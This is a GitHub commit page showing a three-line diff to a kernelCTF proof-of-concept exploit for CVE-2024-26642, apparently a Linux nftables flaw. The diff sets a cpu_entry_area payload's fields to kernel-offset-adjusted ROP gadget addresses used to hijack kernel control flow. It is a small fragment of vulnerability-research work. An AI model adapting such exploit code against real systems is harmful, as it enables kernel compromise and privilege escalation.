Skip to content

Commit 578a7b3

Browse files
committed
Solve comments
1 parent ebed68c commit 578a7b3

File tree

2 files changed

+3
-3
lines changed
  • pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55

2 files changed

+3
-3
lines changed

pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/poc.h

+3-3
Original file line numberDiff line numberDiff line change
@@ -309,9 +309,9 @@ static void setup_cpu_entry_area(int64_t kernel_off) {
309309
}
310310

311311
struct cpu_entry_area_payload payload = {};
312-
payload.nft_expr_eval = push_rdi_jmp_rsi_0xf;//kernel_off + POP_RSP_JMP_RSI_0XF;
313-
payload.pop_rsp_jmp_rsi_0xf = pop_rsp_jmp_rsi_0xf;//kernel_off + POP_RSP_JMP_RSI_0XF;
314-
payload.nft_do_chain_leave = nft_do_chain_leave;//kernel_off + NFT_DO_CHAIN_LEAVE;
312+
payload.nft_expr_eval = kernel_off + POP_RSP_JMP_RSI_0XF;
313+
payload.pop_rsp_jmp_rsi_0xf = kernel_off + POP_RSP_JMP_RSI_0XF;
314+
payload.nft_do_chain_leave = kernel_off + NFT_DO_CHAIN_LEAVE;
315315

316316
PANIC_IF(_pin_to_cpu(HELPER_CPU) < 0);
317317
PANIC_IF(signal(SIGFPE, sig_handler) == SIG_ERR);

0 commit comments

Comments
 (0)